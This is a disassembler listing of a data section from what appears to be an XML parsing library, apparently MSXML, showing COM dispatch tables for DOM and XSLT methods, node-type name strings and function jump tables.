		dd 1, 5	dup(0)
		dd offset sub_69B3FCDB
		dd 0
		dd offset dword_69B25DB4
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FCAB
		dd 0Bh dup(0)
		dd offset dword_69B25D84
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FCBB
		dd 0
		dd offset dword_69B25DA4
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FCCB
		dd 0
		dd offset dword_69B25D94
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FCDB
		dd 0
		dd offset dword_69B25D64
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FCEB
		dd 0
		dd offset dword_69B25D74
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FD0B
		dd 0Bh dup(0)
		dd offset dword_69B25DA4
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FCCB
		dd 0
		dd offset dword_69B25D54
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FCFB
		dd 1Fh dup(0)
		dd offset dword_69B25DE4
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FD1B
		dd 0Bh dup(0)
		dd offset dword_69B25E44
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FD2B
		dd 0
		dd offset dword_69B25DA4
		dd offset libID
		dd 1, 5	dup(0)
		dd offset sub_69B3FCCB
; OLECHAR *off_69B98DF0
off_69B98DF0	dd offset a_unknowntype	; DATA XREF: sub_69B42F64+59r
					; "_unknownType"
		dd offset aElement	; "element"
		dd offset aAttribute	; "attribute"
		dd offset aText		; "text"
		dd offset aCdatasection	; "cdatasection"
		dd offset aEntityreferenc ; "entityreference"
		dd offset aEntity_0	; "entity"
		dd offset aProcessinginst ; "processinginstruction"
		dd offset aComment	; "comment"
		dd offset aDocument_0	; "document"
		dd offset aDocumenttype	; "documenttype"
		dd offset aDocumentfragme ; "documentfragment"
		dd offset aNotation_0	; "notation"
dword_69B98E24	dd 3		off_69B98E28	dd offset aItem		; DATA XREF: .data:69B98ED8o
					; "item"
		align 10h
		dd 1
		dd offset dword_69B98E24
		dd 0
		dd 30009h
		dd offset aLength	; "length"
		dd 4Ah,	3 dup(0)
		dd 20003h
		dd offset aNextnode	; "nextNode"
		dd 4Ch,	3 dup(0)
		dd 30009h
		dd offset aReset	; "reset"
		dd 4Dh,	3 dup(0)
		dd 3000Ah
		dd offset a_newenum	; "_newEnum"
		dd 0FFFFFFFCh, 3 dup(0)
dword_69B98E9C	dd 3000Dh, 0FFFFFFFCh, 4, 2 dup(0)		dd 4Ah,	1, 4Ch,	2, 4Dh,	3
dword_69B98EC8	dd 0							; .text:69B43ACBo ...
off_69B98ECC	dd offset dword_69B25E04 ; DATA	XREF: sub_69B43784+Ar
		dd offset libID
		dd 1
		dd offset off_69B98E28
		dd 5
		dd offset dword_69B98E9C+4
		dd 5
		dd offset sub_69B4034F
dword_69B98EEC	dd 8, 9, 8, 2 dup(80008h), 3					; .data:69B98FD4o ...
off_69B98F04	dd offset dword_69B25E54 ; DATA	XREF: .data:69B98FD8o
off_69B98F08	dd offset aGetnameditem	; DATA XREF: .data:69B99058o
					; "getNamedItem"
		dd 53h,	1
		dd offset dword_69B98EEC
		dd 0
		dd 10009h
		dd offset aGetqualifiedit ; "getQualifiedItem"
		dd 57h,	2
		dd offset dword_69B98EEC+0Ch
		dd 0
		dd 10009h
		dd offset aItem		; "item"
		align 10h
		dd 1
		dd offset dword_69B98EEC+14h
		dd 0
		dd 30009h
		dd offset aLength	; "length"
		dd 4Ah,	3 dup(0)
		dd 20003h
		dd offset aNextnode	; "nextNode"
		dd 59h,	3 dup(0)
		dd 30009h
		dd offset aRemovenamedite ; "removeNamedItem"
		dd 55h,	1
		dd offset dword_69B98EEC+8
		dd 0
		dd 10009h
		dd offset aRemovequalifie ; "removeQualifiedItem"
		dd 58h,	2
		dd offset dword_69B98EEC+10h
		dd 0
		dd 10009h
		dd offset aReset	; "reset"
		dd 5Ah,	3 dup(0)
		dd 3000Ah
		dd offset aSetnameditem	; "setNamedItem"
		dd 54h,	1
		dd offset dword_69B98EEC+4
		dd offset off_69B98F04
		dd 10009h
		dd offset a_newenum	; "_newEnum"
		dd 0FFFFFFFCh, 3 dup(0)
dword_69B98FF4	dd 3000Dh, 0FFFFFFFCh, 9, 0		dd 2, 4Ah, 3, 53h, 0
		dd 54h,	8, 55h,	5, 57h,	1, 58h,	6, 59h,	4, 5Ah,	7
dword_69B99048	dd 0							; sub_69B43B76+Eo ...
off_69B9904C	dd offset dword_69B43530 ; DATA	XREF: sub_69B437A5+Ar
		dd offset libID
		dd 1
		dd offset off_69B98F08
		dd 0Ah
		dd offset dword_69B98FF4+4
		dd 0Ah
		dd offset sub_69B403EC
dword_69B9906C	dd 0		off_69B99070	dd offset sub_69B248A8	; DATA XREF: sub_69B457EC+Er
		dd offset libID
		dd 1, 5	dup(0)
dword_69B99090	dd 0		off_69B99094	dd offset dword_69B44038 ; DATA	XREF: sub_69B4580E+Ar
		dd offset libID
		dd 1, 5	dup(0)
dword_69B990B4	dd 0		off_69B990B8	dd offset dword_69B24898 ; DATA	XREF: sub_69B4582F+Er
		dd offset libID
		dd 1, 5	dup(0)
dword_69B990D8	dd 0Ch,	8080008h, 0Ch, 0C0008h,	808h, 80009h					; .data:69B991B4o ...
off_69B990F0	dd offset dword_69B2AFE0 ; DATA	XREF: .data:69B99110o
		align 8
dword_69B990F8	dd 9		off_69B990FC	dd offset dword_69B25E54 ; DATA	XREF: .data:69B99200o
off_69B99100	dd offset aAddobject	; DATA XREF: .data:69B99290o
					; "addObject"
		dd 0Ch,	2
		dd offset dword_69B990D8+14h
		dd offset off_69B990F0
		dd 10018h
		dd offset aAddparameter	; "addParameter"
		dd 0Bh,	3
		dd offset dword_69B990D8+0Ch
		dd 0
		dd 10018h
		dd offset aInput	; "input"
		dd 2, 1
		dd offset dword_69B990D8
		dd 0
		dd 6000Ch
		dd offset aOutput	; "output"
		dd 7, 1
		dd offset dword_69B990D8+8
		dd 0
		dd 6000Ch
		dd offset aOwnertemplate ; "ownerTemplate"
		dd 3, 3	dup(0)
		dd 20009h
		dd offset aReadystate	; "readyState"
		dd 0Ah,	3 dup(0)
		dd 20003h
		dd offset aReset	; "reset"
		dd 9, 3	dup(0)
		dd 30018h
		dd offset aSetstartmode	; "setStartMode"
		dd 4, 2
		dd offset dword_69B990D8+4
		dd 0
		dd 10018h
		dd offset aStartmode	; "startMode"
		dd 5, 3	dup(0)
		dd 20008h
		dd offset aStartmodeuri	; "startModeURI"
		dd 6, 3	dup(0)
		dd 20008h
		dd offset aStylesheet_0	; "stylesheet"
		dd 0Dh,	1
		dd offset dword_69B990F8
		dd offset off_69B990FC
		dd 20009h
		dd offset aTransform	; "transform"
		dd 8, 3	dup(0)
dword_69B9921C	dd 3000Bh, 2 dup(2), 3,	2 dup(4), 7, 5,	8, 6, 9, 7, 3
					; DATA XREF: .data:69B99298o
		dd 8, 0Bh, 9, 6, 0Ah, 5, 0Bh, 1, 0Ch, 0
		dd 0Dh,	0Ah
dword_69B99280	dd 0							; sub_69B469E4+20o ...
off_69B99284	dd offset dword_69B25D14 ; DATA	XREF: sub_69B470AF+Ar
		dd offset libID
		dd 1
		dd offset off_69B99100
		dd 0Ch
		dd offset dword_69B9921C+4
		dd 0Ch
		dd offset sub_69B4644B
		align 8
; LPCSTR lpMultiByteStr
lpMultiByteStr	dd offset aElement_1	; DATA XREF: sub_69B47CF1+Dr
					; sub_69B48307+2Cr ...
					; "ELEMENT"
		dd offset dword_69B282AC+1Ch
		dd offset dword_69B282AC+14h
		dd offset dword_69B282AC+8
		dd offset dword_69B282AC+4
		dd offset dword_69B282AC
		dd offset aCdata_4	; "CDATA"
		dd offset aEntity_2	; "ENTITY"
		dd offset aNotation_2	; "NOTATION"
		dd offset aElementdecl	; "ELEMENTDECL"
		dd offset aNamespace_1	; "NAMESPACE"
		dd offset aEntityref	; "ENTITYREF"
		dd offset aWhitespace	; "WHITESPACE"
		dd offset aIncludesection ; "INCLUDESECTION"
		dd offset aIgnoresection ; "IGNORESECTION"
		dd offset aAttribute_0	; "ATTRIBUTE"
		dd offset aTypedvalue	; "TYPEDVALUE"
		dd offset aDocfrag	; "DOCFRAG"
		dd offset aXmldecl	; "XMLDECL"
		align 8
; LPCWSTR lpString
lpString	dd 0			; DATA XREF: sub_69B4BAA7+2Br
		align 10h
		dd offset asc_69B28210	; "--"
		dd 2 dup(0)
		dd offset a?		; "?>"
		dd offset asc_69B772AC	; "]]>"
		dd 0Dh dup(0)
dword_69B99348	dd 0				dd 1, 2, 3, 4, 5, 6, 7,	8, 2 dup(0FFFFFFFFh), 0Bh, 3 dup(0FFFFFFFFh)
		dd 0Fh,	0FFFFFFFFh, 3, 5
byte_69B99394	db 0			; DATA XREF: sub_69B4ADB4:loc_69B4ADF9r
		db 3 dup(1)
		dd 2 dup(1010101h), 5 dup(0)
		dd 1000000h, 1,	0
dword_69B993C0	dd 1Fh							; sub_69B4F0B4+53r
dword_69B993C4	dd 0E0h, 6Fh, 25h, 0B2h, 0E4h, 2Fh, 27h, 2 dup(1Fh), 28h
		dd 2 dup(1Fh), 101h, 106h, 1Fh,	2, 2Bh,	101h, 2	dup(1)
		dd 6 dup(1Fh), 6, 3, 8,	9, 8, 0C0008h, 9
off_69B99448	dd offset dword_69B25E54 ; DATA	XREF: .data:69B99478o
off_69B9944C	dd offset dword_69B25E54 ; DATA	XREF: .data:69B994F0o
off_69B99450	dd offset aClone	; DATA XREF: .data:69B99620o
					; "clone"
		dd 57h,	3 dup(0)
		dd 10009h
		dd offset aContext	; "context"
		dd 52h,	1
		dd offset dword_69B993C4+74h
		dd offset off_69B99448
		dd 0A0009h
		dd offset aExpr		; "expr"
		dd 51h,	1
		dd offset dword_69B993C4+70h
		dd 0
		dd 60008h
		dd offset aGetproperty	; "getProperty"
		dd 58h,	1
		dd offset dword_69B993C4+78h
		dd 0
		dd 1000Ch
		dd offset aItem		; "item"
		align 8
		dd 1
		dd offset dword_69B993C4+6Ch
		dd 0
		dd 30009h
		dd offset aLength	; "length"
		dd 4Ah,	3 dup(0)
		dd 20003h
		dd offset aMatches	; "matches"
		dd 54h,	1
		dd offset dword_69B993C4+80h
		dd offset off_69B9944C
		dd 10009h
		dd offset aNextnode	; "nextNode"
		dd 4Ch,	3 dup(0)
		dd 10009h
		dd offset aPeeknode	; "peekNode"
		dd 53h,	3 dup(0)
		dd 10009h
		dd offset aRemoveall	; "removeAll"
		dd 56h,	3 dup(0)
		dd 1000Ah
		dd offset aRemovenext	; "removeNext"
		dd 55h,	3 dup(0)
		dd 10009h
		dd offset aReset	; "reset"
		dd 4Dh,	3 dup(0)
		dd 1000Ah
		dd offset aSetproperty	; "setProperty"
		dd 59h,	2
		dd offset dword_69B993C4+7Ch
		dd 0
		dd 1000Ah
		dd offset a_newenum	; "_newEnum"
		dd 0FFFFFFFCh, 3 dup(0)
dword_69B9959C	dd 3000Dh, 0FFFFFFFCh, 0Dh, 0		dd 4, 4Ah, 5, 4Ch, 7, 4Dh, 0Bh,	51h, 2,	52h, 1,	53h, 8
		dd 54h,	6, 55h,	0Ah, 56h, 9, 57h, 0
		dd 58h,	3, 59h,	0Ch
dword_69B99610	dd 0							; sub_69B43A23+Eo ...
off_69B99614	dd offset dword_69B54F48 ; DATA	XREF: sub_69B437C6+Ar
		dd offset libID
		dd 1
		dd offset off_69B99450
		dd 0Eh
		dd offset dword_69B9959C+4
		dd 0Eh
		dd offset sub_69B54B94
dword_69B99634	dd 9, 4	dup(8),	80008h,	3 dup(8), 8000Ch, 2 dup(8), 0Ch
					; DATA XREF: .data:69B997D4o
					; .data:69B99744o ...
		dd 0Bh,	8, 0Ch,	3 dup(0Bh), 4 dup(0Ch),	0C0008h, 8
off_69B99698	dd offset dword_69B25DD4 ; DATA	XREF: .data:69B997D8o
		align 10h
off_69B996A0	dd offset dword_69B25E24 ; DATA	XREF: .data:69B99958o
		align 8
off_69B996A8	dd offset aAbort	; DATA XREF: sub_69B56828+22o
					; sub_69B56F58+35o ...
					; "abort"
		dd 3Eh,	3 dup(0)
		dd 3000Ah
		dd offset aAsync	; "async"
		dd 3Dh,	1
		dd offset dword_69B99634+34h
		dd 0
		dd 6000Bh
		dd offset aCreateattribut ; "createAttribute"
		dd 2Fh,	1
		dd offset dword_69B99634+18h
		dd 0
		dd 10009h
		dd offset aCreatecdatasec ; "createCDATASection"
		dd 2Dh,	1
		dd offset dword_69B99634+10h
		dd 0
		dd 10009h
		dd offset aCreatecomment ; "createComment"
		dd 2Ch,	1
		dd offset dword_69B99634+0Ch
		dd 0
		dd 10009h
		dd offset aCreatedocument ; "createDocumentFragment"
		dd 2Ah,	3 dup(0)
		dd 30009h
		dd offset aCreateelement ; "createElement"
		dd 29h,	1
		dd offset dword_69B99634+4
		dd 0
		dd 10009h
		dd offset aCreateentityre ; "createEntityReference"
		dd 31h,	1
		dd offset dword_69B99634+1Ch
		dd 0
		dd 10009h
		dd offset aCreatenode	; "createNode"
		dd 36h,	3
		dd offset dword_69B99634+24h
		dd 0
		dd 10009h
		dd offset aCreateprocessi ; "createProcessingInstruction"
		dd 2Eh,	2
		dd offset dword_69B99634+14h
		dd 0
		dd 10009h
		dd offset aCreatetextnode ; "createTextNode"
		dd 2Bh,	1
		dd offset dword_69B99634+8
		dd 0
		dd 10009h
		dd offset aDoctype_2	; "doctype"
		dd 26h,	3 dup(0)
		dd 20009h
		dd offset aDocumentelemen ; "documentElement"
		dd 28h,	1
		dd offset dword_69B99634
		dd offset off_69B99698
		dd 0A0009h
		dd offset aGetelementsbyt ; "getElementsByTagName"
		dd 32h,	1
		dd offset dword_69B99634+20h
		dd 0
		dd 10009h
		dd offset aGetproperty	; "getProperty"
		dd 0CDh, 1
		dd offset dword_69B99634+60h
		dd 0
		dd 1000Ch
		dd offset aImplementation ; "implementation"
		dd 27h,	3 dup(0)
		dd 20009h
		dd offset aLoad		; "load"
		dd 3Ah,	1
		dd offset dword_69B99634+30h
		dd 0
		dd 1000Bh
		dd offset aLoadxml	; "loadXML"
		dd 3Fh,	1
		dd offset dword_69B99634+38h
		dd 0
		dd 1000Bh
		dd offset aNamespaces	; "namespaces"
		dd 0C9h, 3 dup(0)
		dd 20009h
		dd offset aNodefromid	; "nodeFromID"
		dd 38h,	1
		dd offset dword_69B99634+2Ch
		dd 0
		dd 10009h
		dd offset aOndataavaila_0 ; "ondataavailable"
		dd 45h,	1
		dd offset dword_69B99634+50h
		dd 0
		dd 4000Ah
		dd offset aOnreadystatech ; "onreadystatechange"
		dd 44h,	1
		dd offset dword_69B99634+4Ch
		dd 0
		dd 4000Ah
		dd offset aOntransformnod ; "ontransformnode"
		dd 46h,	1
		dd offset dword_69B99634+54h
		dd 0
		dd 4000Ah
		dd offset aParseerror	; "parseError"
		dd 3Bh,	3 dup(0)
		dd 20009h
		dd offset aPreservewhites ; "preserveWhiteSpace"
		dd 43h,	1
		dd offset dword_69B99634+48h
		dd 0
		dd 6000Bh
		dd offset aReadystate	; "readyState"
		dd 0FFFFFDF3h, 3 dup(0)
		dd 20003h
		dd offset aResolveexterna ; "resolveExternals"
		dd 42h,	1
		dd offset dword_69B99634+44h
		dd 0
		dd 6000Bh
		dd offset aSave		; "save"
		dd 40h,	1
		dd offset dword_69B99634+3Ch
		dd 0
		dd 1000Ah
		dd offset aSchemas	; "schemas"
		dd 0CAh, 1
		dd offset dword_69B99634+58h
		dd offset off_69B996A0
		dd 0E0009h
		dd offset aSetproperty	; "setProperty"
		dd 0CCh, 2
		dd offset dword_69B99634+5Ch
		dd 0
		dd 1000Ah
		dd offset aUrl		; "url"
		dd 3Ch,	3 dup(0)
		dd 20008h
		dd offset aValidate	; "validate"
		dd 0CBh, 3 dup(0)
		dd 10009h
		dd offset aValidateonpars ; "validateOnParse"
		dd 41h,	1
		dd offset dword_69B99634+40h
		dd 0
dword_69B999BC	dd 6000Bh, 0FFFFFDF3h, 19h, 26h, 0Bh, 27h, 0Fh,	28h, 0Ch
					; DATA XREF: .data:69B99AE0o
		dd 29h,	6, 2Ah,	5, 2Bh,	0Ah, 2Ch, 4, 2Dh, 3, 2Eh, 9, 2Fh
		dd 2, 31h, 7, 32h, 0Dh,	36h, 8,	38h, 13h, 3Ah, 10h, 3Bh
		dd 17h,	3Ch, 1Eh, 3Dh, 1, 3Eh, 0
		dd 3Fh,	11h, 40h, 1Bh, 41h, 20h, 42h, 1Ah, 43h,	18h, 44h
		dd 15h,	45h, 14h, 46h, 16h, 0C9h, 12h, 0CAh, 1Ch, 0CBh
		dd 1Fh,	0CCh, 1Dh, 0CDh, 0Eh
dword_69B99AC8	dd 0							; sub_69B592AC+7o
off_69B99ACC	dd offset dword_69B25E14 ; DATA	XREF: sub_69B592AC+Er
		dd offset libID
		dd 1
		dd offset off_69B996A8
		dd 21h
		dd offset dword_69B999BC+4
		dd 21h
		dd offset sub_69B56912
		align 10h
off_69B99AF0	dd offset aDocument_0	; DATA XREF: sub_69B57908+A4o
					; sub_69B57908+A9r
					; "document"
		dd 9
		dd offset aElement	; "element"
		dd 1
		dd offset aAttribute	; "attribute"
		dd 2
		dd offset aPi		; "pi"
		dd 7
		dd offset aProcessinginst ; "processinginstruction"
		dd 7
		dd offset aComment	; "comment"
		dd 8
		dd offset aText		; "text"
		dd 3
		dd offset aCdata	; "cdata"
		dd 4
		dd offset aCdatasection	; "cdatasection"
		dd 4
		dd offset aDocumentfragme ; "documentfragment"
		dd 0Bh
		dd offset aEntity_0	; "entity"
		dd 6
		dd offset aEntityreferenc ; "entityreference"
		dd 5
		dd offset aDocumenttype	; "documenttype"
		dd 0Ah
		dd offset aNotation_0	; "notation"
		dd 0Ch,	2 dup(0)
; int dword_69B99B68
dword_69B99B68	dd 0FFFFFFFFh			align 10h
		dd 0Fh,	1, 6, 0Bh, 7, 5, 2, 3, 4, 11h, 8
dword_69B99B9C	dd 0							; sub_69B5A094+Eo ...
off_69B99BA0	dd offset dword_69B25E54+10h ; DATA XREF: sub_69B5A04C+Ar
		dd offset libID
		dd 1, 5	dup(0)
off_69B99BC0	dd offset aErrorcode	; DATA XREF: .data:69B99CB0o
					; "errorCode"
		dd 4 dup(0)
		dd 20003h
		dd offset aFilepos	; "filepos"
		dd 0B8h, 3 dup(0)
		dd 20003h
		dd offset aLine		; "line"
		dd 0B6h, 3 dup(0)
		dd 20003h
		dd offset aLinepos	; "linepos"
		dd 0B7h, 3 dup(0)
		dd 20003h
		dd offset aReason	; "reason"
		dd 0B4h, 3 dup(0)
		dd 20008h
		dd offset aSrctext	; "srcText"
		dd 0B5h, 3 dup(0)
		dd 20008h
		dd offset aUrl		; "url"
		dd 0B3h, 3 dup(0)
dword_69B99C64	dd 20008h, 2 dup(0)		dd 0B3h, 6, 0B4h, 4, 0B5h, 5, 0B6h, 2, 0B7h, 3,	0B8h, 1
dword_69B99CA0	dd 0							; sub_69B5A802+Eo ...
off_69B99CA4	dd offset dword_69B25D34+10h ; DATA XREF: sub_69B5A7AC+Ar
		dd offset libID
		dd 1
		dd offset off_69B99BC0
		dd 7
		dd offset dword_69B99C64+4
		dd 7
		dd offset sub_69B5A188
; LPCWSTR off_69B99CC4
off_69B99CC4	dd offset dword_69B122A4 ; DATA	XREF: sub_69B5AA95+4r
dword_69B99CC8	dd 27h				dd 26h
; OLECHAR aOndataavailabl
aOndataavailabl:			; DATA XREF: sub_69B5D25C+25o
		unicode	0, <ondataavailable>,0
		dd 3 dup(0)
; LPCWSTR off_69B99CFC
off_69B99CFC	dd offset aReadystate	; DATA XREF: sub_69B5CF5F+3r
					; "readyState"
dword_69B99D00	dd 0							; sub_69B648DC+3Dr ...
		dd 0Eh,	13h, 1Eh, 12h, 1, 2 dup(0)
off_69B99D20	dd offset sub_69B63E46	; DATA XREF: sub_69B642AB+97r
					; sub_69B644A4+35r ...
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E5E
		dd offset sub_69B64131
		dd offset sub_69B63E46
		dd offset sub_69B63E46
		dd offset sub_69B63E46
		dd offset sub_69B644A4
		dd offset sub_69B648DC
		dd offset sub_69B63E5E
		dd offset sub_69B63E46
		dd offset sub_69B64154
		dd offset sub_69B644A4
		dd offset sub_69B63E46
		dd offset sub_69B644A4
		dd offset sub_69B648DC
		dd offset sub_69B63E5E
		dd offset sub_69B63E46
		dd offset sub_69B644F1
		dd offset sub_69B64179
		dd offset sub_69B63E46
		dd offset sub_69B644A4
		dd offset sub_69B648DC
		dd offset sub_69B63E5E
		dd offset sub_69B63E46
		dd offset sub_69B63E46
		dd offset sub_69B63E46
		dd offset sub_69B6424B
		dd offset sub_69B644A4
		dd offset sub_69B648DC
		dd offset sub_69B63E5E
		dd offset sub_69B644F1
		dd offset sub_69B644F1
		dd offset sub_69B644F1
		dd offset sub_69B644F1
		dd offset sub_69B6496E
		dd offset sub_69B648DC
		dd offset sub_69B63E5E
		dd offset sub_69B64951
		dd offset sub_69B64951
		dd offset sub_69B64951
		dd offset sub_69B64951
		dd offset sub_69B64951
		dd offset sub_69B64951
		align 8
off_69B99DE8	dd offset sub_69B63E46	; DATA XREF: sub_69B642AB+7Cr
					; sub_69B6453E+3Br
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E52
		dd offset sub_69B63E5E
		dd offset sub_69B64131
		dd offset sub_69B6453E
		dd offset sub_69B6453E
		dd offset sub_69B6453E
		dd offset sub_69B6453E
		dd offset sub_69B647C0
		dd offset sub_69B63E5E
		dd offset sub_69B64591
		dd offset sub_69B64154
		dd offset sub_69B6453E
		dd offset sub_69B6453E
		dd offset sub_69B6453E
		dd offset sub_69B648DC
		dd offset sub_69B63E5E
		dd offset sub_69B64591
		dd offset sub_69B64591
		dd offset sub_69B64179
		dd offset sub_69B6453E
		dd offset sub_69B6453E
		dd offset sub_69B6476C
		dd offset sub_69B63E5E
		dd offset sub_69B64591
		dd offset sub_69B64591
		dd offset sub_69B64591
		dd offset sub_69B6424B
		dd offset sub_69B6453E
		dd offset sub_69B648DC
		dd offset sub_69B63E5E
		dd offset sub_69B64591
		dd offset sub_69B64591
		dd offset sub_69B64591
		dd offset sub_69B64591
		dd offset sub_69B6536A
		dd offset sub_69B647E4
		dd offset sub_69B63E5E
		dd offset sub_69B64800
		dd offset sub_69B64951
		dd offset sub_69B647A4
		dd offset sub_69B64951
		dd offset sub_69B64788
		dd offset sub_69B64824
		align 10h
off_69B99EB0	dd offset nullsub_3	; DATA XREF: sub_69B64008+15r
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset sub_69B64C44
		dd offset sub_69B64DB5
		dd offset sub_69B64EA6
		dd offset sub_69B65070
		dd offset sub_69B65152
		dd offset sub_69B652C2
		dd offset nullsub_3
		dd offset sub_69B64C74
		dd offset sub_69B64C44
		dd offset sub_69B64EF0
		dd offset sub_69B650A9
		dd offset sub_69B651D1
		dd offset sub_69B653A0
		dd offset nullsub_3
		dd offset sub_69B64CA4
		dd offset sub_69B64DEC
		dd offset sub_69B64C44
		dd offset sub_69B650E5
		dd offset sub_69B65227
		dd offset sub_69B653BD
		dd offset nullsub_3
		dd offset sub_69B64D0D
		dd offset sub_69B64E20
		dd offset sub_69B64F3E
		dd offset sub_69B64C44
		dd offset sub_69B6527E
		dd offset sub_69B653DA
		dd offset sub_69B64C5A
		dd offset sub_69B64D43
		dd offset sub_69B64E66
		dd offset sub_69B64F86
		dd offset sub_69B6511B
		dd offset sub_69B64C44
		dd offset sub_69B652F7
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset sub_69B64C44
		align 8
off_69B99F78	dd offset nullsub_3	; DATA XREF: sub_69B64008+23r
					; sub_69B6453E+21r ...
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
off_69B99F94	dd offset nullsub_3	; DATA XREF: sub_69B647C0+9r
					; sub_69B64800+9r
		dd offset sub_69B64C44
		dd offset sub_69B64DB5
		dd offset sub_69B64EA6
		dd offset sub_69B65070
		dd offset sub_69B651A7
		dd offset sub_69B652C2
		dd offset nullsub_3
		dd offset sub_69B64C74
		dd offset sub_69B64C44
		dd offset sub_69B64EF0
		dd offset sub_69B650A9
		dd offset sub_69B651D1
		dd offset sub_69B653A0
off_69B99FCC	dd offset nullsub_3	; DATA XREF: sub_69B642AB+47r
					; sub_69B642AB+55r ...
		dd offset sub_69B64CD8
		dd offset sub_69B64DEC
		dd offset sub_69B64C44
		dd offset sub_69B650E5
		dd offset sub_69B65227
		dd offset sub_69B653BD
		dd offset nullsub_3
		dd offset sub_69B64D0D
		dd offset sub_69B64E20
		dd offset sub_69B64F3E
		dd offset sub_69B64C44
		dd offset sub_69B6527E
		dd offset sub_69B653DA
		dd offset sub_69B64C5A
		dd offset sub_69B64D89
		dd offset sub_69B64E66
		dd offset sub_69B64F86
		dd offset sub_69B6511B
		dd offset sub_69B64C44
		dd offset sub_69B652F7
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset sub_69B64C44
		align 10h
		dd 0FFFFFFFFh
dword_69B9A044	dd 0FFFFFFFFh						; sub_69B645E4+15Fr ...
		dd 0FFFFFFFFh, 1, 3 dup(0)
		dd 1, 0
		dd 2 dup(1), 3 dup(0)
		dd 2 dup(1), 0
		dd 1, 0
		dd 2 dup(1)
dword_69B9A094	dd 0							; sub_69B645E4+28r ...
		dd 0
dword_69B9A09C	dd 0FFFFFFFFh			dd 1, 2	dup(0)
		dd 0FFFFFFFFh
word_69B9A0B0	dw 0			; DATA XREF: sub_69B64A14+43r
		align 4
		dd 2 dup(50005h), 0
		dw 8
		dw 9
		unicode	0, <>,0
		db 0Bh,0
		dd 0D0000h, 5, 4 dup(50005h)
dword_69B9A0E0	dd 0				dd 5, 0Bh dup(0)
		dd 5, 1, 3, 3 dup(4), 2, 0Bh dup(3), 2 dup(4), 4 dup(3)
		dd 2 dup(5), 0
word_69B9A180	dw 2Ch			; DATA XREF: sub_69B6699A+138r
		align 4
word_69B9A184	dw 23h			; DATA XREF: sub_69B6699A+141r
		align 4
word_69B9A188	dw 2Eh			; DATA XREF: sub_69B6699A+14Ar
		align 4
word_69B9A18C	dw 30h			; DATA XREF: sub_69B6699A+153r
		align 10h
word_69B9A190	dw 25h			; DATA XREF: sub_69B6699A+15Cr
		align 4
dword_69B9A194	dd 0				dd 2 dup(1), 3 dup(5), 2 dup(1), 3 dup(5), 3, 2	dup(5)
		dd 0FFFFFFFFh
dword_69B9A1D0	dd 1				align 8
off_69B9A1D8	dd offset off_69B2972C	; DATA XREF: sub_69B6A68C+48r
					; sub_69B6A68C+4Fo
		dd offset dword_69B9B440
		dd 1
		dd offset off_69B2974C
		dd offset dword_69B9B438
		dd 1
		dd offset off_69B29770
		dd offset dword_69B9B430
		dd 1
		dd offset off_69B2978C
		dd offset dword_69B9B428
		dd 1
		dd offset off_69B297B4
		dd offset dword_69B9B420
		dd 1
		dd offset off_69B297EC
		dd offset dword_69B9B418
		dd 1
		dd offset off_69B29810
		dd offset dword_69B9B410
		dd 1
		dd offset off_69B29844
		dd offset dword_69B9B408
		dd 1
		dd offset off_69B29864
		dd offset dword_69B9B400
		dd 1
		dd offset off_69B29880
		dd offset dword_69B9B3F8
		dd 1
		dd offset off_69B298A0
		dd offset dword_69B9B3F0
		dd 1
		dd offset off_69B298BC
		dd offset dword_69B9B3E8
		dd 1
		dd offset off_69B298D8
		dd offset dword_69B9B3E0
		dd 1
		dd offset off_69B298F4
		dd offset dword_69B9B3D8
		dd 1
		dd offset off_69B2990C
		dd offset dword_69B9B3D0
		dd 1
		dd offset off_69B29924
		dd offset dword_69B9B3C8
		dd 1
		dd offset off_69B2993C
		dd offset dword_69B9B3C0
		dd 1
		dd offset off_69B29954
		dd offset dword_69B9B3B8
		dd 1
		dd offset off_69B2996C
		dd offset dword_69B9B3B0
		dd 1
		dd offset off_69B29984
		dd offset dword_69B9B3A8
		dd 1
		dd offset off_69B2999C
		dd offset dword_69B9B3A0
		dd 1
		dd offset off_69B299B4
		dd offset dword_69B9B398
		dd 1
		dd offset off_69B299CC
		dd offset dword_69B9B390
		dd 1
		dd offset off_69B299E4
		dd offset dword_69B9B388
		dd 1
		dd offset off_69B29A04
		dd offset dword_69B9B380
		dd 1
		dd offset off_69B29A24
		dd offset dword_69B9B378
		dd 1
		dd offset off_69B29A40
		dd offset dword_69B9B370
		dd 1
		dd offset off_69B29A5C
		dd offset dword_69B9B368
		dd 1
		dd offset off_69B29A74
		dd offset dword_69B9B360
		dd 1
		dd offset off_69B29A98
		dd offset dword_69B9B358
		dd 1
		dd offset off_69B29AB8
		dd offset dword_69B9B350
		dd 1
		dd offset off_69B29AD0
		dd offset dword_69B9B348
		dd 1
		dd offset off_69B29AE8
		dd offset dword_69B9B340
		dd 1
		dd offset off_69B29B0C
		dd offset dword_69B9B338
		dd 1
		dd offset off_69B29B2C
		dd offset dword_69B9B330
		dd 0
		dd offset off_69B6C658
		dd offset dword_69B9B328
		align 8
		dd offset off_69B6C648
		dd offset dword_69B9B320
		dd 0
		dd offset off_69B29B48
